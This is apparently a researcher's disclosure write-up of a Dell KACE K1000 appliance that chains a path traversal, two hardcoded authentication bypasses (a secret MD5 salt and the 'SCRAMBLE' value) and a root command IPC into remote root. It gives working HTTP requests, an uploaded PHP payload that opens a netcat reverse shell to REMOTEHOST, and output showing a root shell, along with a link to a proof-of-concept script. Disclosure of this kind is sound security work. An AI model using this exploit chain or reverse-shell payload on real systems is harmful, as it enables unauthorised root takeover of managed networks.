A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.
Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(
So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.
The "HandlePut()" function contains the following calls:
$checksumFn = $_GET['filename'];
$fn = rawurldecode($_GET['filename']);
$machineId = $_GET['machineId'];
$checksum = $_GET['checksum'];
$mac = $_GET['mac'];
$kbotId = $_GET['kbotId'];
$version = $_GET['version'];
$patchScheduleId = $_GET['patchscheduleid'];
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
."($machineId, $checksumFn, $mac)");
KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
."from HandlePUT(".construct_url($_GET).")");
header("Status: 500", true, 500);
return;
}
The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Server side check:
private static function calcTokenChecksum($filename, $machineId, $mac)
{
//return md5("$filename $machineId $mac" . $ip .
// 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
// our tracking of ips really sucks and when I'm vpn'ed from
// home I couldn't get patching to work, cause the ip that
// was on the machine record was different from the
// remote server ip.
return md5("$filename $machineId $mac" .
'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
}
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server.
In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):
if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)
From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").
The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 190
<?php
require_once 'KSudoClient.class.php';
KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
http://targethost/service/tmp/db.php
On our host:
~$ ncat -lkvp 4444
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from XX.XX.XX.XX
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.
Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.pyExample usage can be seen below:
Related posts
